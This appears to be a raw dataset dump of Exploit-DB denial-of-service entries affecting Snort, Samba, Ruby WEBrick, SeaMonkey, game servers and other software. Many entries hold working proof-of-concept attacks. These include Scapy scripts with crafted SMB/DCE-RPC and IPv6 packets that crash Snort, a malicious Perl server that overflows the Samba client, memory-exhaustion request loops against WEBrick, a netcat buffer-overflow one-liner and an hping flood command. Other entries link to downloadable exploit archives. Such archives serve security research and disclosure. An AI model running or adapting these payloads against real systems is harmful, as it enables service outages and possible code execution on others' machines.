deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30779
Description: Rigs of Rods 0.33d - 'Vehicle Name' Buffer Overflow
Type: dos
Platform: multiple
Date: 2007-11-19
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/26502/info

Rigs of Rods is prone to a remote buffer-overflow because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

An attacker could exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial of service.

This issue affects Rigs of Rods 0.33d and prior versions. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30779.zip
Exploit-DB #36570
Description: Rockwell Automation FactoryTalk Activation Server - Multiple Denial of Service Vulnerabilities
Type: dos
Platform: multiple
Date: 2012-01-17
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/51444/info

Rockwell Automation FactoryTalk Activation Server is prone to multiple remote denial-of-service vulnerabilities.

An attacker can exploit these issues to crash the affected application, denying service to legitimate users. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36570.zip
Exploit-DB #23902
Description: Roger Wilco Server 1.4.1 - UDP Datagram Handling Denial of Service
Type: dos
Platform: multiple
Date: 2004-03-31
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/10022/info

Roger Wilco Server has been reported prone to a remote denial of service vulnerability. The issue is reported to exist due to a flaw when handling malicious UDP payloads that are destined for the vulnerable server.

A remote attacker may exploit this condition to deny service to legitimate users. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23904.zip
Exploit-DB #23904
Description: Roger Wilco Server 1.4.1 - Unauthorized Audio Stream Denial of Service
Type: dos
Platform: multiple
Date: 2004-03-31
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/10025/info

A vulnerability has been reported in the Roger Wilco Server, it is reported that a user does not need to connect to the server over the TCP port to have UDP based audio streams handled. Rather the attacker will require knowledge of user ID's connected to a target channel. Because the user ID's for a channel exist in a range of 0-127, the attacker may transmit an audio stream to an affected server that will be heard by all connected users, however the server administrator will have no control over disconnecting or muting this audio stream. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23904.zip
Exploit-DB #24070
Description: Rosiello Security Sphiro HTTPd 0.1B - Remote Heap Buffer Overflow
Type: dos
Platform: multiple
Date: 2004-04-30
Author: Slotto Corleone

Exploit:
source: https://www.securityfocus.com/bid/10249/info

It has been reported that Sphiro HTTPD is prone to a remote heap based buffer overflow vulnerability. This issue is due to a failure of the application to properly verify buffer boundaries before storing input in fixed buffers.

Immediate consequences of this attack may cause the affected daemon to crash, denying service to legitimate users. Furthermore, due to the nature this issue, arbitrary code execution may be possible. This would occur in the context running daemon process.

perl -e 'print "GET HTTP/1.1" . "A"x1000 . "\n\n"' |nc www.example.com 80
Exploit-DB #31150
Description: RPM Remote Print Manager 4.5.1 - Service Remote Buffer Overflow
Type: dos
Platform: multiple
Date: 2008-02-11
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27742/info

RPM Remote Print Manager is prone to a remote buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before copying it into an insufficiently sized buffer.

An attacker may exploit this issue to execute arbitrary code or cause denial-of-service conditions.

The issue affects RPM Elite and Select 4.5.1.11 and prior versions. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31150.zip
Exploit-DB #32222
Description: Ruby 1.9 - 'WEBrick::HTTP::DefaultFileHandler' Crafted HTTP Request Denial of Service
Type: dos
Platform: multiple
Date: 2008-08-11
Author: Keita Yamaguchi

Exploit:
source: https://www.securityfocus.com/bid/30644/info

Ruby is prone to multiple vulnerabilities that can be leveraged to bypass security restrictions or cause a denial of service:

- Multiple security-bypass vulnerabilities occur because of errors in the 'safe level' restriction implementation. Attackers can leverage these issues to make insecure function calls and perform 'Syslog' operations.

- An error affecting 'WEBrick::HHTP::DefaultFileHandler' can exhaust system resources and deny service to legitimate users.

- A flaw in 'dl' can allow attackers to call unauthorized functions.

Attackers can exploit these issues to perform unauthorized actions on affected applications. This may aid in compromising the application and possibly the underlying computers. Attackers can also cause denial-of-service conditions.

These issues affect Ruby 1.8.5, 1.8.6-p286, 1.8.7-p71, and 1.9 r18423. Prior versions are also vulnerable. 

#-- Exploitable Server --
# require 'webrick'
# WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start

#-- Attack --
require 'net/http'
res = Net::HTTP.start("localhost", 2000) { |http|
  req = Net::HTTP::Get.new("/passwd")
  req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100
  http.request(req)
}
p res
Exploit-DB #6239
Description: Ruby 1.9 - regex engine Remote Socket Memory Leak
Type: dos
Platform: multiple
Date: 2008-08-13
Author: laurent gaffiÃ©

Exploit:
-------------------------------------------------------
Language : Ruby 

Web Site: www.ruby-lang.org

Platform: All

Bug: Remote Socket Memory Leak

Products Affected:
1.8 series:
- 1.8.5 and all prior versions
- 1.8.6-p286 and all prior versions
- 1.8.7-p71 and all prior versions

1.9 series
- r18423 and all prior revisions

Confirmed by the vendor: Yes

Patch available : Yes
-------------------------------------------------------

1) Introduction
2) Bug
3) Proof of concept
4) Credits

===============
1) Introduction
===============
"A dynamic, open source programming language with a focus on simplicity and productivity.
It has an elegant syntax that is natural to read and easy to write."

=======
2) Bug
=======
Ruby fails to handle properly the memory allocated for a socket
So when you send ~ 4 big request to a ruby socket, ruby will go 
in infinite loop, and then crash.
The bug reside in the regex engine (in regex.c).

==================
3)Proof of concept
===================
This poc is an exemple for Webrick web server
crap.pl :

#!/usr/bin/perl
use LWP::Simple;
my $payload = "\x41" x 49999999;
while(1)
{
print "[+]\n";
get "http://127.0.0.1:2500/".$payload."";
}

Result (Exemple on Webrick web server):

[2008-07-11 22:39:55] INFO  WEBrick 1.3.1
[2008-07-11 22:39:55] INFO  ruby 1.8.6 (2007-09-24) [i486-linux]
[2008-07-11 22:39:55] INFO  WEBrick::HTTPServer#start: pid=13850 port=2500
[2008-07-11 22:40:51] ERROR NoMemoryError: failed to allocate memory
        /usr/lib/ruby/1.8/webrick/httprequest.rb:228:in `read_request_line'
        /usr/lib/ruby/1.8/webrick/httprequest.rb:86:in `parse'
        /usr/lib/ruby/1.8/webrick/httpserver.rb:56:in `run'
        /usr/lib/ruby/1.8/webrick/server.rb:173:in `start_thread'
        /usr/lib/ruby/1.8/webrick/server.rb:162:in `start'
        /usr/lib/ruby/1.8/webrick/server.rb:162:in `start_thread'
        /usr/lib/ruby/1.8/webrick/server.rb:95:in `start'
        /usr/lib/ruby/1.8/webrick/server.rb:92:in `each'
        /usr/lib/ruby/1.8/webrick/server.rb:92:in `start'
        /usr/lib/ruby/1.8/webrick/server.rb:23:in `start'
        /usr/lib/ruby/1.8/webrick/server.rb:82:in `start'
        /home/audit/instiki-0.13.0/vendor/rails/railties/lib/webrick_server.rb:63:in `dispatch'
        script/server:62
[FATAL] failed to allocate memory
root@audit:/home/audit#

=====
5)Credits
=====

laurent gaffiÃ©

laurent.gaffie{remove_this}[at]gmail[dot]com

# milw0rm.com [2008-08-13]
Exploit-DB #31998
Description: S.T.A.L.K.E.R Shadow of Chernobyl 1.0006 - Multiple Remote Vulnerabilities
Type: dos
Platform: multiple
Date: 2008-06-28
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/29997/info

S.T.A.L.K.E.R is prone to multiple remote vulnerabilities:

- A stack-based buffer-overflow vulnerability
- An integer-overflow vulnerability
- A denial-of-service vulnerability

An attacker can exploit these issues to execute arbitrary code within the context of the affected application or crash the application, denying service to legitimate users.

S.T.A.L.K.E.R Shadow of Chernobyl 1.0006 is vulnerable; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31998.zip
Exploit-DB #33100
Description: S.T.A.L.K.E.R. Clear Sky 1.0010 - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2009-06-22
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/35762/info

S.T.A.L.K.E.R. Clear Sky is prone to a remote denial-of-service vulnerability because the software fails to handle exceptional conditions when processing user nicknames.

Successfully exploiting this issue allows remote attackers to crash the affected application, denying service to legitimate users.

The issue affects S.T.A.L.K.E.R. Clear Sky 1.5.10 (1.0010) and prior versions.

NOTE: This issue may be related to the issue described in BID 29723 (S.T.A.L.K.E.R. Remote Denial of Service Vulnerability). We will update this BID if more information emerges. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33100.zip
Exploit-DB #5712
Description: Samba 3.0.29 (Client) - 'receive_smb_raw()' Buffer Overflow (PoC)
Type: dos
Platform: multiple
Date: 2008-06-01
Author: Guido Landi

Exploit:
#!/usr/bin/perl
# 06/01/2008 - k`sOSe
#
# ~ # smbclient //localhost/w00t
# *** glibc detected *** smbclient: free(): invalid next size (fast): 0x0823c2d8 ***
#

use warnings;
use strict;
use IO::Socket;


my $sock = IO::Socket::INET->new(LocalAddr => '0.0.0.0', LocalPort => '445', Listen => 1, Reuse => 1) || die($!);

while(my $csock = $sock->accept())
{
	print $csock	"\x00" .
			"\x01\xff\xff" .
			"\x41" x 131071;
			
}

# milw0rm.com [2008-06-01]
Exploit-DB #7685
Description: SeaMonkey 1.1.14 - Denial of Service
Type: dos
Platform: multiple
Date: 2009-01-06
Author: StAkeR

Exploit:
#!/usr/bin/perl
# SeaMonkey <= 1.1.14 (marquee) Denial of Service Exploit
# by athos - staker[at]hotmail[dot]it
# tested on ubuntu 8.10 / slackware 12.2
# thanks to SirDark because he has tested on slackware

my $data = undef;
my $file = shift or &usage;

exploit();

sub exploit {

   $data .= "<html><head><title>";
   $data .= "SeaMonkey <= 1.1.14 (marquee) Denial of Service Exploit";
   $data .= "</title></head><body>";
   $data .= "<marquee>" x900;
   $data .= "</body></html>";

   open(FILE,'>',$file) or die('file error');
   print FILE $data;
   close(FILE);
}


sub usage {
    
   print "\n+---------------------------------------------------------+\r".
         "\n| SeaMonkey <= 1.1.14 (marquee) Denial of Service Exploit |\r".
         "\n+---------------------------------------------------------+\r".
         "\nby athos - staker[at]hotmail[dot]it\n".
         "\nUsage\n".
         "\rperl $0 [file name]\n".
         "\rperl $0 crash.html\n";
   exit;      
}    

# milw0rm.com [2009-01-06]
Exploit-DB #31932
Description: Skulltag 0.97 d2-RC3 - Malformed Packet Denial of Service
Type: dos
Platform: multiple
Date: 2008-06-16
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/29760/info

Skulltag is prone to a vulnerability that can cause denial-of-service conditions.

A successful attack will deny service to legitimate users.

Skulltag 0.97d2-RC3 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31932.zip
Exploit-DB #30814
Description: Skype 3.6.216 - Voicemail URI Handler Remote Denial of Service
Type: dos
Platform: multiple
Date: 2007-11-26
Author: Critical Security

Exploit:
source: https://www.securityfocus.com/bid/26588/info

Skype is prone to a remote denial-of-service vulnerability because of a NULL-pointer dereference flaw.

Successfully exploiting this issue allows remote attackers to crash the application, denying service to legitimate users.

Skype 3.6.0.216 for Microsoft Windows is vulnerable to this issue; other versions may also be affected.

The following URI is sufficient to trigger this issue:

skype:?voicemail
Exploit-DB #34457
Description: Sniper Elite 1.0 - Null Pointer Dereference Denial of Service
Type: dos
Platform: multiple
Date: 2009-08-14
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/42428/info

Sniper Elite is prone to a denial-of-service vulnerability because of a NULL-pointer dereference error.

Successful exploits may allow remote attackers to cause denial-of-service conditions. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.

Versions prior to Sniper Elite 1.0 are vulnerable.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34457.zip
Exploit-DB #5306
Description: Snircd 1.3.4 - 'send_user_mode' Denial of Service
Type: dos
Platform: multiple
Date: 2008-03-24
Author: Chris Porter

Exploit:
Affected software
-----------------

ircu (upto and including 2.10.12.12)
snircd (upto and including 1.3.4)
and many other ircu derivatives

Vulnerability details
---------------------

send_user_mode in s_user.c does not check that the argument after a +r mode 
is present, if it is not than the NULL sentinel may be missed, causing the 
function to iterate over the boundary of the array.

One possible exploit:
/mode nickname i i i i i i i i i i i i i i i r r r r s

This won't work if there's another NULL directly after the first from the 
previous parsed command, if this is the case one can just append more modes 
or send some other junk to the ircd.

Resolution
----------

Upgrade to the very latest version of ircu/snircd.

Disclosure timeline
-------------------

2008-03-15: Vulnerability discovered by QuakeNet and reported to Undernet.
2008-03-15: Patches released.
2008-03-17: Patches applied to public servers.
2008-03-24: Public disclosure.

-- 
Chris Porter (slug on QuakeNet)
http://www.warp13.co.uk

# milw0rm.com [2008-03-24]
Exploit-DB #21213
Description: Snort 1.8.3 - ICMP Denial of Service
Type: dos
Platform: multiple
Date: 2002-01-10
Author: Sinbad

Exploit:
source: https://www.securityfocus.com/bid/3849/info

Snort is a network intrusion detection system (IDS). It is originally written for Linux and Unix systems, although it has also been ported to run under Microsoft Windows. Snort is capable of flexible and powerful content analysis of network traffic, and can detect a large number of attack attempts.

An error exists in some versions of Snort. If a maliciously constructed ICMP packet is received, the daemon will crash. This is caused because Snort erroneously defines the minimum ICMP header size as 8 bytes. A restart will be required to regain normally functionality. 

ping -c1 -s1 host
Exploit-DB #3362
Description: Snort 2.6.1 - DCE/RPC Preprocessor Remote Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: multiple
Date: 2007-02-23
Author: Trirat Puttaraksa

Exploit:
#!/usr/bin/python
#
# Snort DCE/RPC Preprocessor Buffer Overflow (DoS)
# 
# Author: Trirat Puttaraksa <trir00t [at] gmail.com>
#
# http://sf-freedom.blogspot.com
#
######################################################
# For educational purpose only
#
# This exploit just crash Snort 2.6.1 on Fedora Core 4. However, Code Execution
# may be possible, but I have no time to make it :( 
# I will post the information about this vulnerability in my blog soon
#
# Note: this exploit use Scapy (http://www.secdev.org/projects/scapy/) 
# to inject the packet, so you have to install Scapy before use it.
#
#######################################################

import sys
from scapy import *
from struct import pack
conf.verb = 0

# NetBIOS Session Service
payload = "\x00\x00\x01\xa6"

# SMB Header
payload += "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00"
payload += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
payload += "\x00\x08\x30\x00"

# Tree Connect AndX Request
payload += "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00"
payload += "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00"
payload += "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00"
payload += "\x3f\x3f\x3f\x3f\x3f\x00"

# NT Create AndX Request
payload += "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00"
payload += "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
payload += "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00"
payload += "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00"
payload += "\x63\x00\x00\x00"

# Write AndX Request #1
payload += "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
payload += "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee"

payload += "\x05\x00\x0b\x03\x10\x00\x00\x00\xff\x01\x00\x00\x01\x00\x00\x00"
payload += "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
payload += "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
payload += "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
payload += "\x2b\x10\x48\x60\x02\x00\x00\x00"

# Write AndX Request #2
payload += "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
payload += "\x00\x48\x00\x00\x00\xff\x01\x30\x01\x00\x00\x00\x00\x49\x00\xee"

payload += "\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x01\x00\x00\x00"
payload += "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
payload += "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
payload += "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
payload += "\x2b\x10\x48\x60\x02\x00\x00\x00"

if len(sys.argv) != 2:
	print "Usage snort_dos_dcerpc.py <fake destination ip>"
	sys.exit(1)

target = sys.argv[1]

p = IP(dst=target) / TCP(sport=1025, dport=139, flags="PA") / payload
send(p)

# milw0rm.com [2007-02-23]
Exploit-DB #9969
Description: Snort 2.8.5 - IPv6 Denial of Service
Type: dos
Platform: multiple
Date: 2009-10-23
Author: laurent gaffie

Exploit:
=============================================
- Date: October 22th, 2009
- Discovered by: Laurent Gaffi&#65533;
- Severity: Low
=============================================

I. VULNERABILITY
-------------------------
Snort <= 2.8.5 IPV6 Remote DoS


II. DESCRIPTION
-------------------------
A remote DoS was present in Snort 2.8.5 when parsing some specialy IPv6
crafted packet
To trigger theses bugs you need to have compiled snort with the
--enable-ipv6 option, and run it in verbose mode (-v)

III. PROOF OF CONCEPT
-------------------------
You can reproduce theses two differents bugs easily by using the Python
low-level networking lib Scapy
(http://www.secdev.org/projects/scapy/files/scapy-latest.zip)

1) #only works on x86

#/usr/bin/env python
from scapy.all import *
u = "\x92"+"\x02" * 6
send(IPv6(dst="IPv6_addr_here", nh=6)/u) #nh6 -> TCP

2) # works x86,x64

#/usr/bin/env python
from scapy.all import *

z = "Q" * 30
send(IPv6(dst="IPv6_ADDR_HERE",nh=1)/ICMPv6NIQueryNOOP(type=4)/z) #nh1 ->
icmp (not v6)


IV. SYSTEMS AFFECTED
-------------------------
Theses proof of concept as been tested on snort:
- 2.8.5

V. NOT AFFECTED
-------------------------
Sourcefire 3D Sensor


VI. SOLUTION
-------------------------
A new version correcting theses issues as been released (2.8.5.1) :

http://www.snort.org/downloads


VII. REFERENCES
-------------------------
http://www.snort.org/
http://vrt-sourcefire.blogspot.com/

VIII. REVISION HISTORY
-------------------------
October 14th, 2009: First issue discovered, advisory send to snort team.
October 14th, 2009: Snort security team confirm the bug.
October 16th, 2009: Second issue discovered, advisory send to snort team.
October 20th, 2009: Snort security team confirm the bug.
October 22th, 2009: Snort team released a new version.


IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffi&#65533;
Laurent.gaffie{remove-this}(at)gmail.com
Exploit-DB #9731
Description: Snort unified 1 IDS Logging - Alert Evasion & Logfile Corruption/Alert Falsify
Type: dos
Platform: multiple
Date: 2009-09-21
Author: Pablo Rincón Crespo

Exploit:
Advisory:
=========
Snort unified 1 IDS Logging Alert Evasion, Logfile Corruption/Alert Falsify


Log:
====
30/06/2009 Bug detected.
20/07/2009 First mail with snort team.
20/07/2009 Snort team answer they will fix it in the next release (2.8.5).
16/09/2009 Snort release, bug fixed.


Affected Versions:
==================
snort-2.8.1
snort-2.8.2
snort-2.8.3
snort-2.8.4
snort-2.8.5.beta*

link: http://pablo-secdev.blogspot.com/2009/09/snort-28-285stable-unified1-output-bug.html
poc: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/2009-snort-unified1_bug.tar.gz
# milw0rm.com [2009-09-21]
Exploit-DB #32310
Description: Softalk Mail Server 8.5.1 - 'APPEND' Remote Denial of Service
Type: dos
Platform: multiple
Date: 2008-09-02
Author: Antunes

Exploit:
source: https://www.securityfocus.com/bid/30970/info

Softalk Mail Server is prone to a remote denial-of-service vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.
Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.

Softalk Mail Server 8.5.1 is vulnerable; other versions may also be affected. 

APPEND Ax5000 (UIDNEXT MESSAGES)
Exploit-DB #30524
Description: Soldat 1.4.2 - Multiple Remote Denial of Service Vulnerabilities
Type: dos
Platform: multiple
Date: 2007-08-23
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/25426/info

Soldat is prone to multiple remote denial-of-service vulnerabilities because of how the game software handles unexpected input.

Successfully exploiting these issues allows remote attackers to crash game servers and clients or to block arbitrary IP addresses from connecting to game servers.

Soldat 1.4.2 and Soldat dedicated server 2.6.2 are vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30524.zip
Exploit-DB #37061
Description: Sony Bravia KDL-32CX525 - 'hping' Remote Denial of Service
Type: dos
Platform: multiple
Date: 2012-04-05
Author: Gabriel Menezes Nunes

Exploit:
source: https://www.securityfocus.com/bid/52893/info

Sony Bravia is prone to a remote denial-of-service vulnerability.

Successful attacks will cause the application to crash, creating a denial-of-service condition. 

 hping -S TV.IP.Address -p anyport -i u1 --flood
Exploit-DB #2912
Description: Sophos / Trend Micro AntiVirus - '.RAR' File Denial of Service (PoC)
Type: dos
Platform: multiple
Date: 2006-12-10
Author: Damian Put

Exploit:
Multiple Vendor Antivirus RAR File Denial of Service Vulnerability

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/2912.rar (12102006-sophos_intifiniti.rar)

# milw0rm.com [2006-12-10]